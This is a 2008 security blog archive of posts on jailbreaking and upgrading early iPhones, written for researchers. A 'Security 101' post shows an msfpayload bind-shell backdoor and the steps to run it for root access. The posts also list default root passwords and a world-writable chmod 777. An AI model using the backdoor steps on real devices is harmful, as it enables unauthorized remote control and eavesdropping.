February 05, 2008

Guide to upgrade the iPhone to 1.1.3 - Securing your 1.1.2 OTB iPhone

Apple released the iPhone 1.1.3 firmware version on January 2008. From a security perspective and according to Apple, the iPhone 1.1.2 presents a few vulnerabilities:
Continuing the iPhone series, once your iPhone 1.1.2 OTB has been activated and jailbroken, thanks to the iPhone Dev Team there is a new method to upgrade to 1.1.3 and stay secure. This post covers the easier option, that is, using the "Installer" to directly upgrade from the iPhone without requiring a PC (however, you need a WiFi connection to connect to the Internet). There are other methods for Windows and Mac too.

NOTE: All the third-party applications you previously installed will disappear from Springboard. You will need to reinstall them after the 1.1.3 upgrade. Some capabilities will break, as this "hack" is pretty new, so stay tuned on the Internet (Blogs, forums, etc) for fixes. Most probably, this is the last post about general iPhone hacks in the RaDaJo blog; only security topics will be posted in the future.

You need to be very careful adding new "Installer" sources, as an buggy or malicious software package install can render your iPhone useless... iBrick! If this happens to you, you can repeat the whole jailbreak process going back to 1.1.1. At this point, after following the whole jailbreak guide, the only sources available should be:
  • AppTap: AppTapp Official (NullRiver).
  • Community Sources: Conceited Software, ModMyiFone.com and Ste Packaging.
  • Makayama Software (if you tried to install the iSIM software tool).

Prerequisites:
  • You need to start with an activated and jailbroken 1.1.2 iPhone. Check the guide to do it!
  • You need to install the BSD Subsystem v2.0, as we did when we enabled the phone capabilities. You can check the version from "Installer" by selecting the "Uninstall" button.
  • Disable the lock timeout, as we already did on STEP 3 of the 1.1.2 guide: Go to "Settings", select "General" and the "Auto-Lock" option. Set the value to "Never".
  • Go to "Installer" and select the "Update" button. You need to use "Installer" version 3.0. Previous versions won't work.
  • Establish a connection with your WiFi network to get Internet access.

Steps to upgrade to version 1.1.3:
  • Go to "Installer" and select the "Install" button. Go to the "System" category and install the "Official 1.1.3 Upgrade". At this time it is version 1.1.3-3. Click on "Install" twice.
  • As indicated by the message, exit "Installer" and run "Upgrade" from the Springboard.
  • The process asks if you want to use hacktivation and patch lockdownd. Answer "Yes" in order to be able to use the phone capabilities with the hardware SIM hack (iPhone 1.1.2 OTB has the 4.6 bootloader and it can only be unlocked using a SIM hardware hack at this time).
  • Then, it asks if you want to completely restore your device, deleting all data. It is recommended to answer "Yes" to avoid any software conflicts between versions (backup first!), although I answered "No" to check what applications and data survived. All data should be there (music, videos, etc) and the applications are still installed but not referenced from Springboard.
  • The iPhone now downloads the 1.1.3 firmware version from Apple and performs the appropriate hacks. You get a progress banner on the iPhone. This process takes lot of time, around 30-60 minutes.
  • The last step shows a "Attempting to Reboot iPhone" message. If it is there for more than 15 minutes without rebooting, hold down the Power and Home buttons until the phone shuts down. Then hold down the Power button to turn the iPhone back on, a process that will take a few minutes.
  • When the process completes, the iPhone reboots and runs firmware 1.1.3!! The baseband version is not modified using this procedure.
If during the upgrade, you answer "No" to the first hacktivation question (as I did), then you need to patch lockdownd manually. If not, iTunes will generate an error message and the iPhone remains in an unactivated state. Download the patched lockdownd version and transfer it to the iPhone through SSH: "scp lockdownd root@10.0.0.100:/usr/libexec/" (before this, make a backup copy of the previous lockdownd version). Verify that the file permissions are 555. You can reboot the iPhone and it will be active now.

One of the first recommended actions is to update the "Installer" sources. Go to "Installer", select the "Install" button and go to the "Sources" category. Install the "Community Sources", version 3.3 at this time. By default, the sources list only contained the "AppTapp Official" entry. New applications for 1.1.3, such as "Tweaks (1.1.3)", are populated on the list of available packages, and four new entries are added to the sources list.

Go to "Settings", then "General" and "About" to check that the "Version" now is "1.1.3 (4A93)" while the "Modem Firmware" is still "04.02.13_G". The 1.1.3 version includes new features, that you could be simulated in 1.1.2, although now are already on your device:
  • The first thing you notice is that it notifies you about "Edit Home Screen" capabilities. You can now rearrange icons on the Springboard.
  • The new Google Maps Faux-GPS, based on triangulating your location using the mobile cell towers, doesn't work because the baseband is not updated during the process. Go to "Installer", "Install" button, "All Packages", search and install "Navizon GPS" (currently version 1.1.4). Create an account in "Navizon" to use the location service, and when it locates you once, you are ready to use the Google Maps Faux-GPS (sometimes you need to set Navizon's "Invisible" switch to "Off").
  • You can now send SMS messages to multiple users simultaneously.
The previous activation and hardware-based unlock (based on the iSIM card) work perfectly with the new 1.1.3 version. iWorld must not be reinstalled. All capabilities work as they did on 1.1.2, except some of the previously installed third-party applications, plus a few well-known bugs, because now the Springboard runs as "mobile" and not as "root" (good security improvement):
  • You need to refresh the sources on "Installer" and reinstall previous software packages. Although at this point you can access the iPhone through SSH and run standard Unix commands, it is recommended to reinstall at least the BSD Subsystem and the OpenSSH server.
  • Reinstall the "BSD Subsystem" by going to "Installer", use the "Install" button, go to "System", and select and install the "BSD Subsystem" (v2.0). This fixes some VT100 terminal display issues (like backspaces not showing properly).
  • OpenSSH is a crucial service to manage your iPhone. It can be reinstalled by going to "Installer", select "System" and install "OpenSSH" (currently v.4.6p1-1). There is no icon on the Springboard on 1.1.3 to disable the service, and the device has the default password (root/alpine) :(
  • You cannot use the Unix "passwd" command to change the password on 1.1.3, as it is broken. Don't even try! You get a message indicating this when you install the BSD Subsystem. Replace the passwd command by uploading this file to the "/usr/bin" iPhone directory (rename it from passwd113 to passwd). Make a copy of the previous passwd file. Change the new file permissions to 755: "chmod 755 /usr/bin/passwd". Now, you can run "passwd" to change the default password from a SSH terminal.
  • The recommended SSH management tool is called "BossPrefs". Go to "Installer", then select the "Install" button, "All Packages" and install "BossPrefs" (v1.53). It provides capabilities to enable/disable the SSH server and even set its state when the iPhone restarts (through the "Config" menu).
  • Set up the iPhone to the appropriate timezone. If you go to "Settings" and "Date & Time", when you change the "TimeZone" the "/var/db/timezone/localtime" file is recreated. The directory is now owned by root, but the "Settings" application runs as "mobile", so it cannot recreate it. Change the directory permissions to 777: "chmod 777 /var/db/timezone".
  • Re-add the Makayama repository is you want to manage contacts with the iSIM tool.

NOTE:
The current 1.1.3-3 update fixes several issues of the previous 1.1.3 jailbreaks. There is a similar 1.1.3 method available from Nate True's (FAQ), however, it seems it could present some issues, so the latest Dev Team's (-3) method is the recommended method. More bugs, fixes and 1.1.3 jailbreak versions will appear. From now on, Google is your friend! ;)

Some final iPhone hacking news: Apple's applications signature key required by "official" iPhone third-party applications has leaked, and the iPhone 1.1.3 SDK framework documentation is available.

Labels:

February 02, 2008

iPhone - Security 101

Once you get access and can finally use your iPhone, it is time to focus on the security of the device (this is what the RaDaJo Blog is all about ;) ). This post covers the basics (Security 101), while future post will focus on specific iPhone capabilities, such as WiFi, Bluetooth, etc. It is interesting to analyze the security of the iPhone from two distinct angles:
  • A device we need to protect as is (going to be) in wide spread use and, potentially, is going to store very sensitive and private information (call and SMS history, address book, voicemail data, user and mail credentials, application data, etc) and be used for voice and data communications.
  • A mobile auditing device that could be used by infosec professionals to perform assessment in standard TCP/IP networks, and WiFi or Bluetooth environments. Remember it runs Unix, has plenty of storage (8Gb) and a decent CPU (400Mhz), plus extensive networking capabilities.
For now, let's focus on the first one.

NOTE: Although I figured out I duplicated some of the steps already performed by Paul Asadoorian, I wanted to double-check the results and verify if there were any differences between a standard 1.1.2 iPhone and a jailbroken one.

General iPhone Security
  • After getting access to an iPhone Unix shell, you can observe that every process runs as root. This is why the jailbreak process succeed, as the exploitation of the libtiff vulnerability through MobileSafari provided unlimited privileges on the device. Any future security flaw in any iPhone application can lead to a similar complete system compromise.
  • The first known iPhone exploit was focused on vulnerabilities on the Perl Regular Expression Library (PCRE), and presented on BlackHat 2007.
  • The iPhone is a fully-fledged client device, a mobile Mac, with support for Word, Excel and PDF docs. Watch out future vulnerabilities in the associated applications!
  • The Metasploit Framework (MSF v3) already implements several payloads for the iPhone: bind and reverse shell, and even one to make it vibrate. See initial HD Moore security analysis.
  • The iPhone multimedia capabilities can turn it into a perfect spying tool, specially by hacking the mic/speakers, camera and phone.
  • As a consequence of the hacking wars between Apple and the community to free the device, the iPhone comes with the latest firmware installed from factory, 1.1.2 at this point in time. This is not always the case for lots of devices, as Paul points out.
  • This is one of the most well known iPhone hacking demonstrations on the Internet: it turns the iPhone into a remote eavesdropping device or bug. You can see the video here! Metasploit was used to install a recording tool, called rrecord (remote record), that records the ambient sound around the iPhone.
OS Fingerprinting
Using nmap 4.50, the iPhone (10.0.0.101) operating system (OS) can be easily fingerprinted:
# nmap -O 10.0.0.101

Starting Nmap 4.50 ( http://insecure.org ) at 2008-01-02 14:44 GMT
All 1711 scanned ports on 10.0.0.101 are closed
MAC Address: 00:1E:C2:XX:XX:XX (Apple)
Device type: phone|media device|general purpose|web proxy|specialized
Running: Apple embedded, Apple Mac OS X 10.2.X|10.3.X|10.4.X|10.5.X, \
Blue Coat SGOS 5.X, FreeBSD 4.X, VMWare ESX Server 3.0.X
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop

OS detection performed. Please report any incorrect results ...
Nmap done: 1 IP address (1 host up) scanned in 30.819 seconds

Because all the near 2000 scanned ports are closed, nmap output is not very accurate and it simply reflects a OS X device. At the end of the jailbreak process we installed SSH. If the SSH service is enabled, then the nmap results are much more accurate (simply by using an open and a closed port, 22 and 80 respectively):
# nmap -O -p 22,80 10.0.0.101

Starting Nmap 4.50 ( http://insecure.org ) at 2008-01-02 14:42 GMT
Interesting ports on 10.0.0.101:
PORT STATE SERVICE
22/tcp open ssh
80/tcp closed http
MAC Address: 00:1E:C2:XX:XX:XX (Apple)
Device type: phone|media device
Running: Apple embedded
OS details: Apple iPhone mobile phone or iPod Touch audio player (Darwin 9.0.0d1)
Uptime: 686.942 days (since Tue Feb 14 16:05:40 2006)
Network Distance: 1 hop

OS detection performed. Please report any incorrect results ...
Nmap done: 1 IP address (1 host up) scanned in 19.619 seconds

MobileSafari
If you browse the Web with the iPhone (using the MobileSafari browser) and point it to your own Web server (10.0.0.2), you can easily obtain the device User-Agent. What really surprised me was that you can even get the exact firmware version, 3B48b (meaning 1.1.2):
$ nc -l -p 80
GET / HTTP/1.1
Accept-Language: en
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420.1 \
(KHTML, like Gecko) Version/3.0 Mobile/3B48b Safari/419.3
Accept: text/xml,application/xml,application/xhtml+xml,text/html; \
q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Connection: keep-alive
Host: 10.0.0.2

TCP/IP
The iPhone responds to ping (ICMP echo requests) by default. It seems it could present a potential Etherleak vulnerability, and in fact, I can confirm Paul initial research, as I got the same behavior. BTW, the old Linksys WRT54G v5 (firmware version 1.00.2 - Oct. 31, 2005) I used for these tests suffers the same vulnerability (last 4 bytes are always different).

By default, connection establishments to closed TCP ports are answered with a TCP RST packet, and connection establishments to closed UDP ports are answered with an ICMP Port Unreachable packet.

If the SSH service is turned off (see next section), a full TCP scan only shows one port open, port TCP/62078:
# nmap -sT -p1-65535 10.0.0.101

Starting Nmap 4.50 ( http://insecure.org ) at 2008-01-02 02:08 GMT
Interesting ports on 10.0.0.101:
Not shown: 65534 closed ports
PORT STATE SERVICE
62078/tcp open unknown
MAC Address: 00:1E:C2:XX:XX:XX (Apple)

Nmap done: 1 IP address (1 host up) scanned in 64531.180 seconds

The TCP/62078 port is used internally when syncing with iTunes. Using tcpdump on the "lo0" interface from within the iPhone, it is possible to capture the traffic generated during a sync operation on iTunes. This traffic contains binary data and XML strings. It also uses other source and destination ports in the 49xxx range during the sync operation, always using the localhost address as source and destination.

A full UDP scan only shows the Multicast DNS port open, UDP/5353:
# nmap -sU -T4 -p1-65535 10.0.0.101

Starting Nmap 4.50 ( http://insecure.org ) at 2008-01-14 03:00 GMT
Interesting ports on 10.0.0.101:
Not shown: 65534 closed ports
PORT STATE SERVICE
5353/udp open|filtered zeroconf
MAC Address: 00:1E:C2:XX:XX:XX (Apple)

Nmap done: 1 IP address (1 host up) scanned in 4966.680 seconds

Port UDP/5353 corresponds to the Zeroconf (aka Rendezvous or Bonjour) multicast protocol, or Zero Configuration Networking, used to establish networking connections without configuration or servers. The mDNSResponder service runs by default on this port and advertises the device on the local network, exposing device details. The multicast DNS traffic generated (destination IP 224.0.0.251) contains the device hostname, "iPhone", followed by a hyphen ("-") and the WiFi MAC address. Related details are leaked on the DHCP requests used to obtain an IP address. The iPhone includes its name on the requests, that by default is "iPhone".

The external port findings can be ratified by running "netstat" on the device. Surprisingly, specially with port TCP/62078, the bindings for all TCP and UDP ports discovered are made to all addresses (*.*).

SSH
The SSH service is enabled by default after the jailbreak. Specifically, the iPhone is running the OpenSSH 4.6 version. This info can be easily obtained using netcat or nmap:
# nc 10.0.0.101 22
SSH-2.0-OpenSSH_4.6

# nmap -sV -p 22 10.0.0.101

Starting Nmap 4.50 ( http://insecure.org ) at 2008-01-02 14:39 GMT
Interesting ports on 10.0.0.101:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.6 (protocol 2.0)
MAC Address: 00:1E:C2:XX:XX:XX (Apple)

Service detection performed. Please report any incorrect results ...
Nmap done: 1 IP address (1 host up) scanned in 17.232 seconds

The SSH access is almost useless unless you install the BSD Subsystem that provides all the standard Unix commands and tools.

Exploitation and backdoors
HD Moore did a great job in the "Cracking the iPhone" series, dissecting the iPhone internals, providing debugging tools, and walking the reader through the process of writing the exploit for the libtiff vulnerability; not an easy task, since the iPhone stack memory is marked non-executable, therefore, standard stack-based buffer overflows don't work. The original libtiff exploit, and HD Moore's one, use the return-to-libc technique. Then, the exploit was improved and modified for stock iPhones (non-jailbroken). Very interesting read of a multi-part payload (stager/stage) to execute code inside the iPhone, that finishes with a full MSF v3 session showing how to run the ipwn shell after exploiting the libtiff vulnerability, and how to patch this vulnerability.

As explained there, Metasploit provides support for iPhone executables in the "msfpayload" tool. This allows an attacker or pen-tester to create a stand-alone backdoor (iPhone executable) that can bind a shell to a port or launch a reverse shell or make the iPhone vibrate:
$ msfpayload osx/armle/shell_bind_tcp LPORT=2222 X > /tmp/bindshell.bin
Created by msfpayload (http://www.metasploit.com).
Payload: osx/armle/shell_bind_tcp
Length: 200
Options: LPORT=2222

To create the backdoor, this "bindshell.bin" binary should be copied to the iPhone (for example using PSCP to "/tmp"), its permissions changed, and executed. Then, a new shell is offerered on port TCP/2222 that can be remotely accessed with netcat:
$ ssh root@10.0.0.101
# cd /tmp
# chmod u+x bindshell.bin
# ./bindshell.bin

$ nc 10.0.0.101
id
uid=0(root) gid=0(wheel) groups=0(wheel)
pwd
/private/var/tmp
ls -l
total 80
drwx------ 2 root wheel 102 Feb 2 02:56 MediaCache
-rw-r--r-- 1 root wheel 0 Feb 2 04:16 MobileSyncRunning.lock
-rwxr--r-- 1 root wheel 16472 Feb 2 05:01 bind.bin
drwx------ 2 root wheel 102 Feb 2 02:56 launchd
-rw-r--r-- 1 root wheel 16472 Feb 2 05:01 vibrate.bin
uname -a
Darwin 10.0.0.101 9.0.0d1 Darwin Kernel Version 9.0.0d1: Wed Oct 10 00:07:50 PDT
2007; root:xnu-933.0.0.204.obj~7/RELEASE_ARM_S5L8900XRB iPhone1,1 unknown

I want to close this initial iPhone security post emphasizing one of the major risks with the current software distribution model on the iPhone. After the jailbreak it is possible to install third-party apps on the device through the "Installer" package manager. Users could download malicious software from the available repositories. In fact, exploiting this input vector, the first iPhone malware specimen was released early this year. It used social engineering tricks to present itself as a preparation software required to update to version 1.1.3, but it was not very dangerous this time. What if someone publishes the Metasploit payloads described before through "Installer"? Additionally, and although it was not created with malicious intentions, there is a Mobile Safari plug-in that provides file downloading capabilities to the browser - another way of downloading all kind of files into the device.

Labels:

How to add the "Phone" to the iPhone

In the previous iPhone series I covered how to activate & jailbreak the iPhone 1.1.2 OTB (Out of The Box) on Windows. However, there was no software trick to unlock the device and use the phone functionality if the iPhone runs the 4.6 bootloader version. Although some contests gave an incentive too find a solution, it seems there is no software trick available yet. Therefore, my friend Esteban ordered and recently got his iSIM, a hardware SIM "card" that can be used together with your standard SIM card in order to use the phone with mobile operators different from AT&T (or the other Apple's European telecom partners).

One of the first set of tools you may want to install inside the iPhone is the BSD Subsystem. Connect to the wireless network from the iPhone, and select the "Installer" icon on the Springboard. Click on the "Install" button, go to "System", and select and install the "BSD Subsystem" (v.2.0 at this time). This package includes the standard Unix tools for the iPhone.

If you (still) doubt about your bootloader version , you can check it following these steps (they are not required to use the iSIM):
  1. From step 4 of the guide, we have an SSH server running on the iPhone. Turn it on through the SSH icon on the Springboard.
  2. You need to find and download from the Internet a tool called "bbupdater". Google is your friend! It seems the file MD5 value is 846e1ddada152947cc317a23de671525.
  3. Enable your wireless network, and connect to it from the iPhone. Then, transfer the "bbupdater" tool from your computer to the iPhone as root (into "/usr/bin") using a SSH client for Windows, such as "pscp" (PuTTY): "pscp bbupdater root@10.0.0.100:/usr/bin"
  4. Login as root on the iPhone through SSH using PuTTY, change the permissions on the file to make it executable, and run the "bbupdater" tool. The last line of the output displays the bootloader version.

After checking the version, restart the iPhone by typing the "reboot" command. You can turn off the SSH server if you are not going to connect back to it.

The process to use the iSIM and unlock the iPhone by hardware is very simple:
  1. Prepare your standard SIM to "accommodate" the iSIM. You will need to follow the instructions from your iSIM vendor, that in Esteban's case, required to cut a corner of the SIM to fit and install both together inside the iPhone.
  2. Install the iWorld application. Connect to the wireless network from the iPhone, and select the "Installer" icon on the Springboard. Click on the "Install" button, go to "Tweaks (1.1.2)", and select and install "iWorld". This package fixes a bug in the iPhone that limits the device to use the phone or SMS capabilities with non-supported SIMs. If you try to call to any number at this point without iWorld, the phone or SMS applications crash.
  3. Once installed, select the new "iWorld" icon from the Springboard and select your country. The iPhone will reboot to set your country settings.
  4. Click on the "Phone" icon on the Springboard, type a number, and... establish your first call from your iPhone!!
NOTE: At the time of this writing, the "Installer" will ask you to update to a newer version, 3.0. I recommend you to update.

It is important not to confuse the iSIM hardware SIM card (or TurboSIM, etc) with the iSIM software tool. The iSIM tool is available through the Makayama repository, "http://tinyurl.com/2t8cax" (add this URL to your "Installer" sources if you want to use it) and provides capabilities to manage the contacts between the iPhone and the SIM card. Go to "Installer", select the "Install" button, then "Utilities" and install "iSIM" (v1.03 at this time).

The next thing I'm going to get from Apple is the i-Jam ;)

Labels:

January 05, 2008

Guide to activate & jailbreak the iPhone 1.1.2 OTB on Windows - Upgrade & Re-Activate (4/4)

The last step, STEP 4, is focused on upgrading the iPhone to version 1.1.2, and re-activating and jailbreaking the device again on the new version.

Once the iPhone restarts from the 1.1.1 jailbreak on the previous step, STEP 3, by default it will reconnect to the previously selected wireless network if it is still available. This connection is required to access the software repositories and install new tools.

1- Click on the "Installer" icon on the iPhone (the last blue icon on the main iPhone screen, aka the Springboard). The "Welcome Installer 3" screen will show up.

2- iTunes is required to upgrade the iPhone, so the iPhone must be still connected to the USB port. During the whole process iTunes can be running on your computer. At this point, iTunes will detect a new activated iPhone and will ask you for the device name, sync information, etc. Select a name for the iPhone and uncheck the auto synchronization checkbox. Click on "Exit".

3- Select the name of the iPhone in the left column of iTunes. iTunes will show the default screen, including the "Check for Update" and "Restore" buttons.

4- On the iPhone select the "Installer" icon. The AppSnapp tool will connect to the Internet and access and refresh the current software source repositories.

NOTE: If you access the "Installer" and it asks you to update itself, please, do so. The current version at the time of this writing is 3.0b8.

5- Select the Install icon ([+] symbol) and go to the "Tweaks (1.1.1)" category. Select "OktoPrep" and click the "Install" button on the top-right corner of the iPhone.

NOTE: There are current reports (Feb'08), where Oktoprep is not available anymore. See comments below from other readers.

[*] This step installs OktoPrep 1.0, a tool that prepares 1.1.1 iPhones for TouchFree jailbreak. It runs the steps (it modifies files unaltered by the 1.1.2 firmware) required to be able to run the Windows-based TouchFree jailbreaking tool after upgrading the iPhone to version 1.1.2. Therefore, OktoPrep must be installed and run on iPhone 1.1.1, and TouchFree (aka Jailbreak) must be run on Windows after upgrading the iPhone to version 1.1.2.

BTW, in the "Tweaks (1.1.1)" packages section you can also find the tool that fixes the TIFF vulnerability. Other useful software packages are available here. [*]

6- Once OktoPrep is installed, it will show a message on the iPhone saying "You are now ready to perform an "Update" to 1.1.2 and continue with the TouchFree process". Press the OK button.

7- Press the Home button on the iPhone to exit the Installer and go back to the main iPhone screen ("slide to unlock").

8- At this point, go to iTunes and select "Check for Update". iTunes will find, download and install a new update, and will upgrade the iPhone to firmware version 1.1.2. This time you won't get an error message like when you downgraded to 1.1.1 in STEP 2.

-- UPDATE for iPhone 1.1.3 --
Disclaimer: I got the confirmation that this new 1.1.3 section works. Thanks Mateo!.

During January 2008 Apple has released the 1.1.3 version, therefore, you do not have direct access from iTunes to the 1.1.2 firmware but to the latest 1.1.3 version. DO *NOT* UPDATE TO 1.1.3!!

In order to update your iPhone from 1.1.1 to 1.1.2 you need to follow a similar process as the one we used in STEP 2 for the downgrade. First of all, download the iPhone 1.1.2 firmware file. The MD5 value for this file is "8337fa372a6a629d38856f3ed40beeff". Press the Shift key in Windows and then click on the "Check for Update" button in iTunes. The Shift key is required to be able to select a firmware file (if you use the "Recover" button it will undo the actions from the previous step, removing OktoPrep, as it restores the default factory firmware).

A window to browse for files will open. Select the recently downloaded iPhone 1.1.2 firmware file and press the "Open" button. iTunes will upgrade your iPhone to 1.1.2.

NOTE: The files associated to the firmware updates performed through iTunes are stored at "C:\Documents and Settings\USER\Application Data\Apple Computer\iTunes\iPhone Software Updates".
-- UPDATE for iPhone 1.1.3 --



The update process will take a few minutes (15-20 minutes depending on your Internet connection), as iTunes needs to download the 1.1.2 firmware version. During the process the iPhone will reboot a couple of times. After the new 1.1.2 version is downloaded and installed by iTunes inside the iPhone, the iPhone will show the new picture on the default iPhone screen (see STEP 1). iTunes will show again the default AT&T activation screen.

9- Close iTunes and unzip the previously downloaded (STEP 1) Jailbreak 1.1.2 tool, 1.1.2-jailbreak.zip. Inside the tool folder you will find a file called "windows.bat".

10- Run "windows.bat", that is, the TouchFree or Jailbreak Windows tool to jailbreak the iPhone 1.1.2 version. You are presented with the welcome screen.


Jailbreak is a Java based tool. Who said that Java could not be used for real-world hacking?... that only C or C++ can ;)


11- I suggest you to select the "Install SSH"checkbox, so that you can get access to the iPhone through SSH for future advanced tasks. Please, change the tool default root password by selecting a customized, long and robust root password. Click the "Jailbreak!" button and the jailbreak process for the iPhone 1.1.2 will start.


The "alpine" password suggested by the tool is the one associated by default to the root iPhone user in 1.1.1 and 1.1.2 (not in 1.0.2). The default "mobile" user password is "dottie". The jailbreak process takes around 2-5 minutes and at the end, the iPhone reboots and you will get the following message:


After that, the device reboots a couple of times, please be patient, and finally you will get the default iPhone screen with the "slide to unlock" page. At this point, you can click OK on the last jailbreak message. iTunes detects the iPhone, starts, and shows the new updated version, 1.1.2.


At this point, you have an almost fully functional 1.1.2 iPhone. It is activated, you can install third-party applications, and the next step should be to unlock the device through a TurboSIM or similar hardware SIM to use the phone capabilities.

Esteban is very happy now, as the initial iBrick he got from the store is now an interesting still-to-explore iPhone device, and hopefully, a cell phone soon :) If you are as happy as Esteban, please donate some cash to the projects involved in the development of all the tools used throughout this guide!

Future posts will focus on specific iPhone security aspects!

Labels:

Guide to activate & jailbreak the iPhone 1.1.2 OTB on Windows - Jailbreak & Activate (3/4)

In STEP 3 the goal is to jailbreak the iPhone, that is, take control of the device in order to be able to activate it and run third-party applications. We are going to use Safari on an unactivated iPhone, and browse to a specific Web site that is going to exploit a vulnerability in the device and execute the code required to "free" the device.

Prerequisites:
  • Wireless (802.11b/g) Internet connectivity is required for the iPhone in order to activate and perform an initial jailbreak on the device.
  • iTunes is not required in this step. You can leave the iPhone plugged in to the USB port and iTunes running.
  • The default AT&T SIM card provided with the iPhone must be inserted in the phone.
1- Go to the iPhone activation screen that shows "slide for emergency" at the bottom and slide to get the "Emergency Call" window plus the phone keypad. Dial *#307# and press the "Call" button.

2- The iPhone will start ringing. While it rings, erase *#307# by using the back button on the top of your iPhone screen. Type 0 and press the "Call" button. The iPhone will start ringing again. This time you must press "Answer" (green button) and then press the "Hold" button. The iPhone will start ringing again. This last time press "Decline" (red button). You now get access to the menu showing options for the favorites, contacts, etc.

You need to perform the next step "quickly", not to get locked out of the screen, as the default iPhone lockout timeout is one minute. If you are idle more than one minute and get locked out, follow this quick sequence of steps:
  • Thereafter, every time you want to get to the same screen, you need to push the iPhone Home button, just slide the "slide for emergency" button, then press 0, press Call, press Answer, press Hold, and press Decline.
3- From the keypad screen, select "Contacts" and add a new contact through the [+] symbol:
  • Then select "First Last", add "Testing" as the contact name, and select Save.
  • Select "Add URL", type "prefs://1F", and select Save.
  • Select "Add URL" again, type "http://jailbreakme.com", and select Save.
When this is done, select "Save" again to store the new contact and the iPhone will take you to the contact "Info" page, displaying the name "Testing" and the two URLs you just added.

4- Select the "prefs://1F" URL and it will open the iPhone "Settings" page. Select "General" and the "Auto-Lock" option. Set the value to "Never", so that the iPhone screen doesn't get locked for the next steps if you are more than one minute reading this guide :)

5- Go back to the "Settings" screen. From there, select "WiFi" and add or choose your wireless network and make sure you are connected to it (you shouldn't get an error connection message).

6- Now, hit the Home button on the iPhone to go back to the activation screen, slide and dial the number 0. The iPhone will now ring again, press Answer, press Hold, and press Decline; just like before.

7- Now, select "Contacts" again and then the "Testing" contact added previously, this time go to the "jailbreakme.com" URL (second one). At the time of the testing, the domain is associated to IP addresses 91.121.18.102 and 208.75.87.234. Safari will open and load the page. When the page loads, scroll down and click on "Install AppSnapp".

Safari will now close and the iPhone returns back to the activation screen. It takes about one minute for the application to get installed. Be patient. At this point, the iPhone will restart. Once you get to the activation screen again, slide to access the dial keypad. When you do this, the iPhone will restart again. Once the iPhone comes back, you can slide to get access to all the iPhone functions/icons for the first time. At this point you are activated and jailbroken!

[*] Remember that in STEP 2 we downgraded the iPhone to version 1.1.1. The "jailbreakme.com" Web site takes advantage of a vulnerability in the version of the libtiff library contained on iPhone version 1.1.1 through the MobileSafari browser. Exploiting this vulnerability it is capable of running code inside the device (see CVE-2006-3459 and the original exploit, plus source code).

The exploit inside the "/files/y.tiff" file at "jailbreakme.com" opens the iPhone for full disk access and installs the AppSnapp Installer for iPhone 1.1.1, called Installer.app, by Nullriver Software. At the time of this writing it installs version 3.0b4. In fact, the TIFF file opens the door for other files (from "/files") that are downloaded to the iPhone to perform the hack, such as "payload2.bin", "root.zip", or "youtube.zip". You can even build your own "jailbreakme" server (forums). [*]

The AppSnapp Installer is a software package management tool that allows you to add/install any third-party application into the iPhone. It includes an "Installer" icon on the main iPhone screen for easy access to the software community repositories. Additionally, during the hack process the TIFF image-rendering library vulnerability is fixed (you're now more secure :) ), and YouTube is fixed too.

BTW, this jailbreaking process also works on the iPod Touch. When writing this portion of the guide I found a video covering exactly this step. The specific set of actions is slightly different but gives you an idea of how it should look like.

Some of the alleged reasons argued by Apple not to allow third-party applications are the potential loss of quality and instability on the device, as well as the security risk of getting malware. I agree that "untrusted" and external code can cause this issues, but users demand flexibility at the cost of it. Anyway, this is changing with the currently available WebApps and resources for developers, plus the upcoming native application development kits (Feb'08?).

At this point, you have jailbroken and activated the iPhone, version 1.1.1, and you are ready to jump to the last step, STEP 4, in order to upgrade to version 1.1.2 and re-activate the iPhone.

Labels:

Guide to activate & jailbreak the iPhone 1.1.2 OTB on Windows - Downgrade (2/4)

This next step (STEP 2) requires to downgrade the iPhone from version 1.1.2 to 1.1.1. Why we need to follow this process? Because in STEP 3, we will take advantage of a vulnerability in the 1.1.1 version of the iPhone and run code inside the device.

From now onward, I'll start adding some security-related comments for the infosec readers
, marked with [*].

NOTE: Internet connectivity is required on the computer running iTunes in order to start the activation process.

1- Connect your iPhone via USB to your computer. iTunes starts, connects to the Internet, and displays the default activation screen (the one this guide tries to bypass).

All iTunes screenshots are based on the Spanish version, the one used by Esteban

[*] During the activation process, iTunes resolves "phobos.apple.com" and establishes an HTTP session (asking for "/bag.xml?ix=2"). It is redirected to "http://ax.phobos.apple.com.edgesuite.net", and asks for "WebObjects/MZStore.woa/wa/initiateSession?ix=2" and multiple related resources. It is amazing to see the amount of Apple proprietary HTTP headers used in the exchanges. BTW, the iTunes 7.5 HTTP User-Agent on Windows is:
User-Agent: iTunes/7.5 (Windows; U; Microsoft Windows XP Professional Service Pack 2 (Build 2600)) DPI/96

Finally, iTunes resolves and establishes an HTTPS connection against "albert.apple.com", the real activation server; it also uses HTTP against the same server to retrieve multiple images. [*]

2- Click the Home button (the main and only button on the screen) and the Sleep/Wake button (on the top right corner of the device) on the iPhone simultaneously and keep pressing them until iTunes detects (and shows a message to indicate) that the iPhone is in recovery mode. You need to press both buttons around 10-30 seconds.


The iPhone restarts during the process, it gets disconnected from Windows (you can hear the typical Windows USB disconnect device sound) and is reconnected back again.

3- Dismiss the warning message in iTunes by pressing the "OK" button. You are presented with two options: "Check for Update" and "Restore". Press the Shift key in Windows and then click on the "Recover" button in iTunes. The Shift key is required because if it is not used, then the restore operation will restore the iPhone to the default factory setting and the latest firmware version (1.1.2), instead of allowing you to select a new firmware file.

A window to browse for files will open. Select the iPhone 1.1.1 firmware file you should have downloaded on STEP 1 and press the "Open" button. iTunes will downgrade your iPhone, a process that takes around 5 minutes. The downgrade process will end up with a 1013 or 1015 error message (see image).


4- Press the "OK" button to confirm the error message. You are returned back to the restore warning message. Press the "OK" button to confirm this message too.

5- In order to get out of the "after the downgrade/restore" state, you need the iBrickr tool for Windows you downloaded on STEP 1. Uncompress the ZIP file and run the tool (ibrickr.exe).

6- Chose the "Boot the phone" option to reboot the iPhone and get out of the recovery mode.


During the process the iPhone background turns red, that's the good color here :), as explained in the iBrick "Attempting to fix..." window.


Once the iPhone has restarted, it will run iPhone firmware version 1.1.1 and you will get the old "Activate iPhone" screen on the iPhone, that is, a globe image. iTunes will show the AT&T activation screen again, and you can close the iBrickr tool.

At this point, you have downgraded the iPhone from version 1.1.2 to 1.1.1, and you are ready to jump to STEP 3 in order to jailbreak the device.

Labels:

January 02, 2008

Guide to activate & jailbreak the iPhone 1.1.2 OTB on Windows - Prerequisites (1/4)

